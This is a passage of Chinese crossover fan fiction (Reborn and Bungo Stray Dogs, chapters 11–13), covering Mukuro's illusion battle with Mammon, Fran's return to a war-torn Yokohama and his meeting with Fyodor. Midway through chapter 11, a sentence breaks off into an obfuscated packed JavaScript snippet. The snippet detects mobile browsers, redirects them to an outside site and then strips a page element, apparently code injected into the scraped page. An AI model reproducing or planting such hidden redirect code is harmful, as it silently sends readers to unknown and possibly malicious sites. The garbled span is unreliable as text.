“不!这完全不是准头的问题好吗?!重点是为什么这么小的孩子会用枪啊?!到底有没有人觉得这有问题啊?!”纲吉抱头哀嚎,灵魂似乎都要从口中飘出,世界观受到了前所未有的冲击。 然而,库洛姆这出人意料的攻击彻底激怒了玛蒙。他兜帽下的阴影仿佛沸腾起来,一股更加恐怖的力量爆发出来! 巨大的斗篷如同活物般张开,一张看似柔软无害的餐巾纸从中飘出,迎风便长,瞬间将库洛姆包裹成一个蠕动的白色茧蛹!纸巾不断向内收缩、勒紧,里面传来少女痛苦压抑的呻吟! 弗兰翠绿的眸子骤然一缩,一直懒散的神情终于染上一丝凝重。 「师父,玩够了吗?再不出场,师姐真要变成凤梨罐头里的腌菜了——」 仿佛回应他无声的呼唤,一股极其阴冷潮湿的气息骤然弥漫开来,空气中响起了遥远而空洞的水流声,伴随着“咕噜咕噜”的气泡破裂音。浓得化不开的靛青色雾气不知从何处涌出,迅速充斥了整个玻璃罩内的空间。 刺啦—— 那勒紧的白色茧蛹被一股无形的力量从内部撕裂,碎片如同纷飞的蝴蝶四散飘落。场中央,一个身影单膝跪地,缓缓站起。标志性的凤梨头下,异色的双瞳闪烁着妖异的光芒,他手中的三叉戟稳稳地支撑着身体,发尾在弥漫的雾气中微微飘动。 “kufufufu……”低沉而诡异的笑声回荡在死寂的场馆中,带着从地狱归来的寒意,“我回来了,从轮回的尽头。” 11.第 11 章 空气仿佛凝固了一瞬,紧接着被一声尖锐的破空音爆撕裂!六道骸的身影如鬼魅般显现,仅仅是出现的余波,就化作肉眼可见的、混杂着靛青色雾气的冲击涟漪,狂暴地扩散开来! “呜哇——!” 对面的小婴儿——彩虹之子玛蒙,那裹在宽大斗篷里的身躯像被无形的巨锤击中,完全无法抵抗这股沛然巨力,炮弹般倒飞出去,狠狠砸在数十米开外坚固的竞技场墙壁上。 沉闷的撞击声伴随着碎石簌簌落下,烟尘弥漫。 “Kufufufu……”低沉而愉悦的笑声在死寂的场中响起,六道骸随意地甩了甩手腕,仿佛只是掸去一点灰尘。 他完全无视了四周爆发的议论和倒抽冷气的声音,那异色的双瞳带着漫不经心的嘲弄,精准地锁定了烟尘中缓缓爬起的玛蒙。 烟尘中,玛蒙小小的身影缓缓站起,兜帽下传出冰冷得不带一丝感情的声音,穿透了混乱的空气:“虚张声势。你不过是附在那女人身上的一抹残影,一道精心编织的幻觉。” “哦呀?”六道骸的异色双瞳危险地眯起,嘴角勾起一抹更深的、带着无尽嘲弄的弧度,三叉戟尖优雅地指向玛蒙,“看来巴利安引以为傲的情报网也不过如此嘛…Kufufufu…需要我再强调一次吗?此时此刻,我就站在这里,用这双眼睛,看着你这可悲的婴孩姿态。” “废话连篇。”玛蒙的声音陡然降至冰点。他小小的手猛地扯了一下宽大的袖口,一股无法言喻的寒意瞬间席卷了整个战场! 呼——! 那并非风声,而是绝对零度的咆哮!以玛蒙为中心,一场暴虐的极地暴风雪凭空诞生!不再是温柔的雪花,而是无数尖锐如刀的冰晶,裹挟着冻结灵魂的寒气,瞬间席卷了整个体育场! 地面发出不堪重负的呻吟,厚厚的冰层以肉眼可见的速度蔓延、爬升,发出令人牙酸的“咔嚓”声。 那恐怖的低温仿佛拥有生命,如同无数条冰冷的毒蛇,迅猛地缠绕上六道骸的双腿,冰层疯狂向上攀爬、凝结,眨眼间就将他整个人包裹在内,冻结成一尊保持着那抹自在微笑的巨大冰坨!灯光照射下,冰雕折射出刺目的寒光。 “啊嘞——!”弗兰那标志性的平板声调适时响起,带着一丝夸张的惊叹,打破了暴风雪带来的死寂,“师父变成超大号的冰冻凤梨罐头了!保质期是多久呢Me很好奇。” 然而,冻结的雕像只维持了不到一个呼吸! 咔嚓——! 细微的碎裂声响起,随即是密集如蛛网般的裂痕瞬间爬满冰面!轰然巨响中,坚冰炸成漫天晶莹的粉末,在暴风雪中折射出诡异的光芒。 六道骸毫发无伤地立于冰屑风暴中心,周身蒸腾着淡淡的紫色雾气,笑容愈发邪肆:“不错的冷气,可惜……你的败因只有一个,就是与我为敌。” 话音未落,他手中的三叉戟重重一顿地面! 噗噗噗噗——! 无数粗壮虬结荆棘藤蔓如同地狱伸出的触手,破开冰封的地面,带着撕裂空气的尖啸,从四面八方绞向玛蒙!那藤蔓上布满了尖锐的倒刺,散发着令人晕眩的致幻气息,仿佛连空间本身都要被其扭曲缠绕! “什么?!”玛蒙斗篷下的瞳孔猛地收缩,身体急速后掠,真正的术士对决,在这一刻才真正拉开序幕!不再是试探,而是生死相搏的领域! “能格斗的术士简直是邪教!!”他的声音带着一丝气急败坏,但更多的是决绝,同时胸前那枚代表诅咒的奶嘴骤然爆发出刺眼的光芒。 一股无形的、足以扭曲现实的恐怖波动以玛蒙为中心爆发开来! 整个体育场的景象开始疯狂扭曲、溶解、重组!坚固的墙壁像融化的蜡一样流淌,重力似乎失去了方向,地面在脚下起伏不定,天空碎裂成无数光怪陆离的碎片! 六道骸不再闪避,周身爆发出更加浓郁、更加深邃的靛青色浓雾,那雾气仿佛拥有生命,凝聚成高温的红莲业火、扭曲的几何图形、旋转的万花筒,悍然撞向玛蒙释放的精神风暴! 轰隆——!!! 这不是物理的碰撞,而是精神层面的核爆! 两股性质相近却针锋相对的顶级幻术能量猛烈撞击、挤压、湮灭!撞击的中心点,空间呈现出一种诡异的、不断碎裂又愈合的玻璃状裂纹! 更可怕的是,碰撞产生的余波并非冲击波,而是狂暴的、混乱的精神污染!如同无数根烧红的钢针,狠狠刺入在场每一个人的脑海。 连里包恩都皱紧了眉头,压低了帽檐。 “啊啊啊——!我的头!!”沢田纲吉首当其冲,他抱着头痛苦地跪倒在地,脸色惨白如纸,豆大的汗珠瞬间浸湿了鬓角。莫名幻觉的碎片在他脑中疯狂闪现、爆炸,仿佛有一个稚嫩的声音在尖叫、撕扯他的意识。 “好疼…脑袋…要裂开了!”恍惚间,他似乎看到了一段回忆,悲伤而迷茫。 “阿纲!坚持住!”山本武和狱寺隼人脸色剧变,立刻扑到他身边,狱寺焦急地试图扶住他颤抖的肩膀,山本则警惕地望向那恐怖的精神力风暴中心。 “啊嘞…”弗兰那独特的、毫无波澜的声音在一片混乱中显得格外突兀。“Boss居然也能连接到师父的精神力啊,真是意外又麻烦的羁绊呢。” 他是唯一一个在这片精神炼狱中完全不受影响的人,仿佛自带一层无形的屏障。他慢悠悠地踱到痛苦不堪的沢田纲吉身边,缓缓蹲下伸出手,轻轻按在纲吉的额头。 一股清凉、稳定、带着奇异秩序感的精神力如同涓涓细流,瞬间抚平了纲吉脑中狂乱的幻觉风暴。 弗兰的手指在空中虚划几下,如同擦拭蒙尘的玻璃,他身周小范围内那些扭曲崩坏的景象——流淌的墙壁、破碎的地面——如同被按下了倒放键,迅速恢复了原本坚固的体育场模样。 “真是麻烦呢,师父和那个婴儿前辈玩得太投入了。” “谢…谢谢你,弗兰…”纲吉虚弱地开口,声音还带着一丝颤抖。 弗兰只是几不可察地点了下头,没说什么,重新站起身,目光再次投向战场中央。 就在这精神污染肆虐的混乱核心,六道骸的声音却清晰地响起,带着一种令人心悸的从容,仿佛在花园中散步时教导弟子:“弗兰,好好看着,用心记住。” 他一边信步穿梭于扭曲崩坏的空间碎片和玛蒙倾泻而来的、足以将钢铁都粉碎的幻术攻击之间,动作流畅得如同舞蹈,单薄的身影在玛蒙全力释放的靛蓝色风暴中鬼魅般穿梭、闪现。 每一次三叉戟的挥动,都精准地击碎了玛蒙的幻术节点,每一次幻影的生成,都在干扰着对方的精神锁定,同时一边开始了现场教学。 “当你的幻术,被人用纯粹的幻术力量强行打回来时,这意味着什么?Kufufufu… 这意味着,你对目标‘知觉’的控制权,已经被对方彻底、干净地夺走了!那么,在这种情况下,一个合格的术士,该如何优雅地挽回败局,甚至…反败为胜呢?” 六道骸的身影安然落地,单膝微屈,姿态优雅得如同谢幕的舞者。与此同时,对面的小婴儿像破碎的塑料袋被撕扯的稀烂、膨胀、爆裂,最后化作不知道什么的东西逐渐在空气中消散。 他举起右手,修长的手指间,两枚半枚的彭格列雾之戒正完美地嵌合在一起,组合成一枚完整的、流转着神秘光泽的戒指。 戒指在他指间熠熠生辉。 弗兰歪了歪头,眼睛一眨不眨地盯着最后的战场,仿佛在认真做笔记,嘴里却习惯性地吐槽:“师父你被打回来的时候可不会教Me这个,通常只会恼羞成怒地拿三叉戟戳Me。不过这样的话可以用绝对的‘真实’,去覆盖对方的‘虚假’……” 他拖长了调子,用他那特有的、能气死人的平淡语气补充道,“还有下次能不能不要搞这种精心设计的落地动作了?Me好像看到一只在废墟里开屏的孔雀,有点恶心诶。” “Kuhahaha……”六道骸发出一声意义不明的低笑,好像对他的回答很满意,随后转过身展现出那枚完整的指环,“这样就行了吧。” “你这家伙…就算是这样我也不会认可你的!”狱寺隼人恶狠狠的开口。 他缓缓站直身体,目光投向远处被簇拥着的沢田纲吉,异色双瞳中闪过一丝复杂难明的光芒,声音低沉下去,带着一丝难以察觉的疲惫与疏离:“哼,我也没打算和黑手党混在一起…我之所以成为雾之守护者……” 他的话语在这里停顿了一下,仿佛耗尽了支撑的力量,“只是这样更方便夺取你的身体啊,沢田纲吉……” 然而,“身体”二字刚刚出口,那由强大精神力维持的实体幻形便开始剧烈地波动、闪烁,如同被狂风吹散的砂砾,构成“六道骸”形象的紫黑色雾气迅速变得稀薄、透明,最终彻底消散在空气中。 露出了被幻术掩盖的本体——库洛姆。 少女双目紧闭,脸色苍白如纸,额发被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703935|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷汗浸湿贴在脸颊上,身体失去了所有支撑,软软地向前栽倒。 “库洛姆!”沢田纲吉惊呼,挣扎着想站起来。 但弗兰的动作更快一步。他仿佛早有预料,一个闪身便出现在库洛姆倒下的路径上,勉强撑住了库洛姆倒下的身体,避免了她的额头与冰冷坚硬的地面亲密接触。 他抬头,对着不远处冷冷观望的城岛犬和柿本千种喊道:“喂,犬前辈,千种前辈——快来帮把手啊。” 城岛犬不耐烦的嘁了一声,小心翼翼地从弗兰手中接过昏迷的库洛姆,背在背上。千种沉默地点点头,警惕地扫视着四周。 弗兰的目光则不由自主地飘向了一旁。 那里,劫后余生的氛围截然不同。 山本武拍着纲吉的肩膀,爽朗地大笑着:“哈哈,阿纲,刚才真是吓死我了!没事就好!” 狱寺隼人则单膝跪在纲吉面前,激动地几乎要流泪:“太好了!十代目!您没事真是太好了!都怪属下保护不力!” 笹川了平也挤了过来,竖起大拇指:“极限地撑过去了啊!沢田!” 沢田纲吉被伙伴们簇拥在中间,脸上带着疲惫却温暖的笑容,轻声安抚着每一个人。那笑容像冬日的暖阳,驱散着战斗残留的阴霾和寒意。 那种毫无保留的信任、热烈的关切、以及彼此之间牢不可破的羁绊,形成了一种强大而温暖的“场”。 苹果帽之下,弗兰的嘴角似乎几不可察地向下撇了一下。他静静地看着这一幕,插在口袋里的手,无意识地蜷缩了一下。 一种极其陌生、却又无法忽视的情绪——或许可以称之为“羡慕”——如同细小的藤蔓,悄然缠绕上他惯于冷静的心绪。 那是一种对“归处”和“牵绊”的无声渴望。这感觉让他感到…困惑,甚至有点烦躁。 就在这时,那道温和的目光穿越了人群,落在了他身上。沢田纲吉安抚好了激动的狱寺,带着关切和真诚,主动走了过来。 “弗兰,”纲吉的声音温和而清晰,带着一丝战斗后的沙哑,却无比真诚,“谢谢你刚才帮我。你…还好吗?没有被刚才的幻术影响到吧?” 他碧棕色的眼睛里是纯粹的关心,没有探究,没有算计,只有对一个刚刚帮助了自己的人的感激与问候。 这份纯粹的善意,像一颗小石子投入了弗兰平静无波的心湖。他微微怔了一下。帽檐的阴影遮住了他上半张脸,让人看不清他此刻的眼神,只能看到他还带着少许婴儿肥的下颌似乎绷紧了一瞬。 “Me?”弗兰的声音依旧平板无波,听不出情绪,“那种程度的干扰,对Me来说就像听动物合唱团练习走调一样,习惯了就只是背景噪音。Boss还是多操心自己那脆弱的精神力比较好。” 他习惯性地用毒舌掩饰着内心的波动,但这一次,那平板的语调下,似乎少了点往日的纯粹刻薄,多了一丝…他自己都未察觉的软化。 沢田纲吉这种毫无缘由、直白坦率的关心,让他感到一种奇异的…舒适。 “那就好。”沢田纲吉似乎完全没在意他的毒舌,反而因为他的“没事”而露出了一个更加温暖安心的笑容,那笑容干净得晃眼,“真的很感谢你,弗兰。也麻烦你看看骸的情况,刚才他好像很难受的样子。” 弗兰沉默了几秒。帽檐下的视线似乎在那温暖的笑容上停留了一瞬。然后,他几不可察地偏开了头,声音依旧是平的,但语速似乎快了一点点:“谢礼就不必了。师父那边就不用操心了,毕竟师父欠费停机了,徒弟总得收拾下烂摊子……他只是精神消耗太大,休息一段时间就好了。” 他顿了顿,仿佛下定了某种决心,转向正背着库洛姆准备离开的犬,“喂,犬前辈。” 犬停下脚步,不耐烦地回头:“干嘛?苹果小子!” “之后的行程,”弗兰的声音清晰而肯定,“Me不参与了。” “哈?”城岛犬愣了一下,粗声粗气地问,“臭小鬼你要去哪?” 弗兰没有直接回答,他望向远处硝烟弥漫的天空,视线仿佛穿透了时空,落在了某个遥远的东方港口城市。 “Me要回横滨了。”他的声音依旧平板,却隐隐透着一丝与平日不同的凝重,“还有很重要的事情要做。” 他顿了顿,垂下的眼睛似乎闪烁了一下。 “有两个让Me很头疼的笨蛋……还没找到。要是他们发现Me不在家把Me的生活费停掉了就糟糕了。” 12.第 12 章 短短一个月的光景,横滨仿佛被一只无形的手粗暴地揉捏过,再摊开时已是面目全非。爆炸的硝烟虽然散去,留下的却是满目疮痍和一种深入骨髓的疲惫。 曾经被巨大爆炸撕裂出的那个狰狞大坑,如今成了城市心脏上一道无人认领的伤疤,彻底沦为了三不管地带。 断壁残垣间,像生命力顽强的野草般,陆陆续续有流民在此搭起了简陋的窝棚,用捡来的木板和破烂的帆布勉强遮风避雨。 袅袅炊烟从坑底升起,带着一种荒诞而悲凉的生机,与周围尚未修复的废墟形成刺眼的对比。 弗兰拖着脚步走过熟悉的街道,目光扫过那些曾经光鲜的店铺。 那间承载着美好回忆的「雪糖屋」,橱窗里依旧摆放着诱人的糕点,但推门而入时,迎接他的却是一张全然陌生的年轻面孔,笑容带着点新手的局促。 柜台后,再也看不到那位总是笑眯眯、会偷偷塞给他一块刚出炉曲奇的山田爷爷了。 弗兰的心沉了一下,他打听过,山田爷爷因为年岁已高,身体实在撑不住,已经回乡下老家休养了。 空气里弥漫的甜香依旧,却少了那份熟悉的味道,仿佛连糖霜都带着一丝陌生的苦涩。 弗兰不是没尝试过寻找晶子。 他鼓起勇气去过陆军医院。得到的回复冰冷而公式化:战争临近尾声,大量医护人员被紧急调派到其他更需要的地方,名单上赫然就有与谢野晶子的名字。 至于调往何处?对方只是不耐烦地摇头:“军事机密,无可奉告。” 他拖着沉重的脚步回到那栋曾经充满人声、甚至有些吵闹的房子。 钥匙插入锁孔,发出生涩的“咔哒”声。门轴转动,一股混合着灰尘和潮湿木头的气息扑面而来,呛得他忍不住咳嗽了一声。 屋内一片死寂,光线透过蒙尘的窗户,勉强照亮漂浮在空中的微尘颗粒。地板、家具,所有表面都覆盖着厚厚一层灰白,仿佛时间在这里凝固了一个世纪。 他站在门口,小小的身影被空旷和寂静吞没,一声长长的叹息从他口中溢出,消散在冰冷的空气里。 “果然……还是没回来。” 他低声自语,声音在空旷的房间里显得格外清晰,又格外孤单。 时间仿佛残忍地倒流,将他抛回更年幼时一个人玩耍的日子。只是这一次,命运连那点虚假的热闹都吝啬给予,直接将他变成了一个真正意义上、需要独自面对一切的孩童。 *** 弗兰花了几乎整个下午的时间,与这座房子的衰败搏斗。 他像个小大人一样,挽起袖子,打水,拧干抹布,用力擦拭着每一寸积尘的表面。灰尘钻进他的鼻孔,粘在他的睫毛上,汗水很快浸透了他单薄的衣衫,在背上洇开深色的痕迹。 他搬不动沉重的坏家具,就去找了附近的工人。看着那些破损的桌椅被搬走,换上虽然普通但干净结实的新家具,房子里总算有了一丝“活过来”的气息。 当最后一块地板被擦亮,最后一扇窗户恢复透明,夕阳的金辉重新洒满房间时,弗兰才感到一丝虚脱般的疲惫。 他把自己重重摔在刚铺好干净被褥的床上,连手指都不想再动一下。 身体的疲惫暂时麻痹了心里的空洞。 “喵——” 就在这时,一声轻柔却清晰的猫叫,像羽毛般飘进他的耳朵。 弗兰猛地睁开眼,循声望去。 声音来自紧闭的窗帘外。他挣扎着爬起来,赤脚踩在微凉的地板上,走到窗边,迟疑了一下,然后轻轻拉开了厚重的窗帘。 夕阳的余晖瞬间涌了进来,给阳台镀上了一层温暖的金边。而在那金色的光晕里,一只优雅的三花猫正端坐着,金色的眼睛安静地注视着他。 仿佛一位久别重逢的老友。 “啊!老师!” 弗兰的眼睛瞬间亮了起来,连日来的阴霾被这意外的重逢冲淡了不少。他几乎是扑到阳台门边,急切地拉开玻璃门,小心翼翼地蹲下身,伸出双手。 猫咪温暖的身体和柔软的毛发带来久违的慰藉,他忍不住用脸颊蹭了蹭猫咪的头顶,嘴角勾起一个淡淡的、带着苦涩却也真实的笑容。 “好久不见了,老师。能再次遇见你,Me真的很开心……” 他把脸埋进猫咪的颈窝,声音闷闷的,“才过了一个月,横滨就变得Me都快不认识了。好像所有人都被风吹走了……Me该去哪里找他们呢?” 他抬起头,抱着猫咪一起望向窗外。远处,城市的天际线在暮色中显得模糊而陌生,隐约可见尚未完全清理的废墟轮廓。 “Me可不想去孤儿院啊……” 这个念头让他不自觉地收紧了抱着猫咪的手臂。 怀里的三花猫似乎听懂了他的忧虑,突然“喵呜”一声,灵活地扭动身体,挣脱了他的怀抱,轻盈地跳到地上。 它没有跑远,反而一溜烟窜到了大门口,然后停下脚步,回过头,用那双充满智慧的眼睛定定地看着弗兰,尾巴尖还轻轻点了点地面,那姿态再明显不过——跟上。 “喂,老师!等等!”弗兰愣了一下,随即毫不犹豫地追了上去。 一人一猫,在暮色渐浓的横滨街头穿行。 三花猫走走停停,不时回头确认弗兰是否跟上,仿佛一位经验丰富的向导。弗兰小跑着,目光追随着猫咪灵巧的身影,掠过匆匆的行人、半掩的店铺、贴着征兵告示的墙壁。 最终,猫咪在一家看起来颇为古旧的书店门口停了下来,端坐在台阶上,再次回头望着气喘吁吁追上来的弗兰。 “书店?”弗兰喘着气,疑惑地看着紧闭的玻璃门和里面透出的暖黄灯光,“你不会让Me在书店里找人吧?” 他小声嘀咕着,但还是顺从地推开了那扇发出轻微“吱呀”声的木门。 门上的风铃清脆地“叮铃”一响。 店内异常安静,只有老旧时钟“嘀嗒嘀嗒”的声音和书页翻动的细微声响。 空气中弥漫着纸张、油墨和旧木头的独特气味。高高的书架如同沉默的巨人,将空间分割成一条条幽深的通道。 “有人吗?”弗兰试探着小声问了一句,声音在寂静的书海中显得格外微弱。回应他的只有更深的寂静。 三花猫显然对这里熟门熟路,它轻巧地跃入书架间的过道,灵活地穿梭,最终在一排靠墙的书架前停下,轻盈地跳上第三层,伸出毛茸茸的爪子,对着其中一本书的封面轻轻一推。 “啪嗒”一声轻响,一本厚薄适中的书掉落在弗兰脚边的木地板上。 “什么啊……”弗兰弯腰拾起那本书。当他看清封面上的书名时,整个人瞬间僵住了,眼睛瞪得溜圆,脸上写满了难以置信和一丝惊恐。 “三年级国文……?!”弗兰的声音陡然拔高,带着难以置信的惊愕,“老师,开什么玩笑……Me只是个会说日语的法国人,连平假名都认不全的,Me才不要上学!” 他像捧着烫手山芋一样,把书举到猫咪面前,脸上写满了抗拒,“Me的监护人兰波先生早就说过了,Me有一辈子都用不完的钱,未来的工作也不用操心——” “喵——呜!”书架上的三花猫似乎对他这种强烈的抗拒态度非常不满,拉长了调子叫了一声,尾巴不悦地甩了甩,仿佛在说“没出息”。 弗兰想起口袋里那张印着某个黑手党标志的纸片,底气似乎足了一点,“什么雇佣童工?现在活着都很难了,谁还管你是不是童工啊?” 他一边絮絮叨叨地抱怨着,一边踮起脚,试图把教科书塞回它原来的位置。顺手赌气似的在猫咪身上狠狠揉了一把,把它的毛都揉乱了。 “谢谢老师的关心啦,”弗兰叹了口气,语气软了下来,带着深深的迷茫,“Me现在最重要的事情还是找人…兰波,魏尔伦…可Me一点头绪都没有啊!这么大的横滨,Me要去哪里找?” 他从衣领里掏出那条项链,那颗曾经璀璨、如今却布满蛛网般裂痕的宝石静静躺在掌心,依旧如一个月前那样黯淡无光,没有任何回应或线索。 叮铃—— 就在这时,书店入口处的风铃声再次清脆地响起,打破了这一隅的宁静。 弗兰几乎是下意识地循声扭头望去。 逆着门口涌入的光线,一个身影推门而入。那是一个身形瘦削、穿着朴素深色衬衫的少年,年纪看起来比弗兰大不了多少,却有着一双异常沉静、仿佛沉淀了太多东西的蓝色眼睛。 那少年似乎也敏锐地察觉到了来自书架深处的视线,目光精准地穿过层层障碍,与弗兰探究的目光在空中短暂相接。 一瞬间,弗兰感到一种莫名的寒意掠过脊背。 那双眼睛太过平静,平静得不像一个少年,倒像一口深不见底的古井。对方同样也只是漠然地扫了他一眼,随即像什么都没看见一样,极其自然地移开了视线,径直走向书店深处,仿佛只是来寻找一本特定的书。 那短暂的视线交汇,仿佛从未发生过。 “该走了,老师。”弗兰收回目光,低声对猫咪说,准备离开这个让他感觉有些压抑的地方。 他抬脚向门口走去,走了几步却发现身后没有熟悉的响应声。他疑惑地回头,只见三花猫并没有跟上来,而是跳到了不远处一张供客人阅读的长木桌上,慵懒地趴了下来。 而刚才那个酒红色头发的少年,正坐在桌旁,手里捧着一本书,安静地翻阅着,猫咪就趴在他手边不远,仿佛找到了一个舒适的临时落脚点。 “好吧,”弗兰无奈地撇撇嘴,“看来你找到自己感兴趣的事情了。那下次Me再来找你哦,老师。” 他挥了挥手,独自一人推开了书 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最引人注目的是,在二十多度、甚至有些闷热的傍晚,他居然戴着一顶看起来就非常厚实的、毛茸茸的白色帽子,身上也穿着明显是秋冬季的、带有厚度的白色外套,整个人裹得严严实实,仿佛刚从西伯利亚的寒风中走来。 他侧对着楼梯口,安静地望着窗外渐渐亮起的街灯,只露出小半张线条优美的侧脸。 弗兰心里嘀咕了一句:“好吧,毕竟那个座位也不是Me的专属,可能外国人都特别怕冷喜欢坐那里吧?” 他下意识地环顾四周,想找个其他空位,却惊讶地发现,除了那个靠窗的位置,其他所有桌子旁都立着一个醒目的小牌子,上面清晰地写着四个字:油漆未干。 一股淡淡的、新刷油漆的味道也确实在空气中弥漫。 新服务生大概是想趁着傍晚人少做点维护? 弗兰低头看了看托盘里散发着诱人香气的草莓大福和冒着热气的麦茶,又看了看那个唯一的空座位——就在那个怕冷的外国人对面。 他叹了口气,看来别无选择了。 他尽量放轻脚步走过去,拉开那个外国人对面的板凳,坐了下来,将托盘轻轻放在桌上。木凳发出轻微的摩擦声。 对面的人似乎被这动静惊扰,缓缓转过头来。 刹那间,弗兰感觉自己的呼吸微微一窒。 那是一双极其罕见的、深邃如幽潭的紫色眼眸。灯光下,那紫色仿佛蕴藏着流转的星河,又像最上等的紫水晶,纯净剔透,却又带着一种难以言喻的、仿佛能洞穿人心的神秘与高贵。 被这样一双眼睛注视着,弗兰下意识地绷紧了身体,一种本能的警惕感油然而生。 紫眸的主人嘴角微微上扬,牵起一个温和却没什么温度的笑容。他的声音低沉悦耳,带着一丝异国的腔调,像大提琴的低鸣,清晰地响起: “晚上好。您看上去……似乎有什么烦恼的事情萦绕在心头?” 他的目光在弗兰带着疲惫和一丝未消的沮丧的脸上停留了一瞬,仿佛能轻易看穿他的伪装,“如果不介意的话,或许可以给我说说?我这个人,对倾听他人的困扰,总是很感兴趣。说不定…能帮上一点微不足道的小忙?” 弗兰沉默着,没有立刻回应。 这个陌生人突如其来的搭讪和那双仿佛能透视的眼睛,让他感到非常不舒服,甚至有点危险。 他拿起杯子,小口啜饮着热麦茶,试图用暖意驱散那莫名的不安,同时也是一种无声的拒绝和缓冲。 对方似乎并不在意他的沉默和警惕,那抹浅淡的笑意依旧挂在唇边,眼神却变得更加幽深。他身体微微前倾,声音压得更低,带着一种近乎蛊惑的磁性,清晰地吐出了下一句话: “尤其是……”他顿了顿,紫色的瞳孔仿佛锁定了弗兰,“如果您心中所虑,是‘找人’这件事的话……” 弗兰握着茶杯的手指猛地一紧,温热的茶水溅出几滴落在手背上,他却浑然不觉。心脏在胸腔里剧烈地跳动起来,咚咚地撞击着肋骨。 这个人……他怎么知道?! 紫眸青年将弗兰瞬间的震惊和僵硬尽收眼底,他唇角的弧度似乎加深了些许,仿佛一切都在预料之中。 他优雅地伸出苍白而修长的手指,轻轻推了推面前那碟弗兰还没来得及动的草莓大福,像是在进行某种无声的邀请。 然后,他用一种极其舒缓,却又带着不容置疑的郑重语调,清晰地完成了自我介绍: “自我介绍一下,鄙人费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。不过,您可以称呼我为费奥多尔·D。” 他微微颔首,紫色的眼眸像两簇跳动的、冰冷的火焰,直直地映着弗兰有些苍白的脸。 “对于今日与您的相遇……我期待已久了,弗兰君。” 13.第 13 章 “你……到底想做什么?”弗兰皱着眉,翠绿色的眼眸像结了冰的湖面,警惕地审视着对面自称费奥多尔的男人。 温热的麦茶只被抿了两口,就被他带着一丝不易察觉的烦躁推到了桌角,琥珀色的液体在杯中不安地晃动了一下。 空气中弥漫着咖啡豆的焦香和甜点的甜腻,与他此刻紧绷的心情格格不入。 “Me可不记得见过你,”弗兰的声音带着少年特有的清冷,却刻意压低了声线,透着一股与年龄不符的疏离感,“你看起来很了解Me。” 他的手指无意识地摩挲着左手无名指上那枚样式古朴的戒指,冰凉的触感似乎能带来一丝安定。 听到弗兰的质问,对方微微垂下浓密的睫羽,唇角勾起一个脆弱又带着几分忧郁的弧度,仿佛被最亲近的人误解了一般。 “真令人伤心啊,弗兰君……”他的俄语口音在日语中显得格外柔和,却像裹着蜜糖的毒药,“其实我只是一个厌倦了寒冷的旅人,恰巧路过横滨罢了。刚刚还兴致勃勃地去了唐人街,本想品尝那些传说中的东方美食,” 他摊开手,做出一个略带遗憾的无奈手势,“结果……光是贪吃那些香甜的糖炒栗子,就把自己塞饱了。你看,多么平凡的烦恼。” 他嘴角勾起一抹自嘲的浅笑。 弗兰面无表情地看着他,内心却忍不住翻了个白眼。 不,你五分钟前可不是这么说的。 他清晰地记得对方开场时那意味深长的眼神和带着压迫感的开场白。两人之间陷入了短暂的沉默,只有楼下其他客人模糊的交谈声和杯碟碰撞的轻响。 他静静地与费奥多尔对视了几秒,试图从那双深不见底的紫罗兰色眼眸中捕捉到一丝真实的意图。 那眼神平静得像深渊,将一切情绪都完美地吸纳、掩埋。 弗兰的眉头锁得更紧,指腹在戒指冰冷的金属表面加重了力道,仿佛要从中汲取力量。 “当然,”费奥多尔似乎完全不在意弗兰无声的质疑和沉默带来的压力,他放下茶杯,杯底在碟子上发出一声清脆的“叮”,打破了寂静。 他抬起眼,那双紫罗兰色的眼眸深处,仿佛有漩涡在缓缓转动,带着一种洞悉一切的、令人不适的了然。 “在下的旅程中,也包含了一个小小的、希望能与弗兰君达成的交易。”他的语气轻松得仿佛在讨论天气,而不是和一个未成年的少年谈论某种交易。 “在下相信,弗兰君会同意的。”他身体微微前倾,声音压得更低,带着蛊惑人心的力量。 “毕竟……你应该非常、非常想知道保罗·魏尔伦先生的下落,不是吗?还有那个……兰波?” “兰波”两个字像两把冰冷的锥子,精准地刺穿了弗兰冷静的外壳。 他祖母绿的瞳孔骤然收缩,呼吸瞬间停滞了一下。随即猛地抬起头,身体不自觉地绷紧,一直摩挲戒指的手指也僵住了。 他知道! 这个名字像一道闪电,劈开了他心底压抑许久的焦灼和担忧。那个他一直在寻找的人……眼前这个神秘莫测的男人,竟然握有线索?! *** 人来人往的喧嚣街道上,弗兰的身影显得有些单薄。 他低头看着手机屏幕上那个刚刚新增的联系方式——一个只显示了“F”字母的头像,背景一片纯黑,透着和其主人一样的神秘与不详。 指尖划过冰冷的屏幕,他仿佛还能感受到刚才甜品店里那种粘稠、危险又充满诱惑的气息。 对方那看似无害实则步步紧逼的“盛情邀请”,如同毒蛇的吐信,让他本能地感到排斥。 “啧。”弗兰低低地咂了下舌,用力甩了甩头,像是要把那个苍白男人的笑容和话语彻底甩出脑海。 青色的发丝随着他的动作轻轻晃动。 直觉疯狂地拉响警报,警告他这个男人极度危险,每一句话都可能是一个精心设计的陷阱。 然而,“兰波”这个名字就像一块巨大的磁石,牢牢吸住了他所有的理智和犹豫。哪怕只有万分之一的可能性是真的,他也无法视而不见。 “啧,死屋之鼠……”弗兰低声自语,指尖在通讯录上滑动。 他需要一个验证。 一个电话被随手拨了出去,短暂的等待音后,对面传来一个冷静、略显机械化的声音:“喂?” “喂——是千种前辈吗?”弗兰努力让自己的声音听起来像平常一样缺乏起伏。 对面沉默了片刻,似乎在确认号码。 “弗兰?”柿本千种的声音带着一丝意外,“这个时间,有事?” “Yes,是Me啦。”弗兰应道,一边看似漫无目的地沿着街道往前走,一边直奔主题,“Me想问问,你们知不知道一个叫「死屋之鼠」的组织?” “死屋之鼠?”柿本千种的声音里带上了一丝不易察觉的警觉,“你问这个干什么?”他话音刚落,电话那头传来一阵轻微的杂音,像是听筒被粗暴地夺了过去,紧接着,一个充满活力到近乎暴躁的熟悉声音炸响: 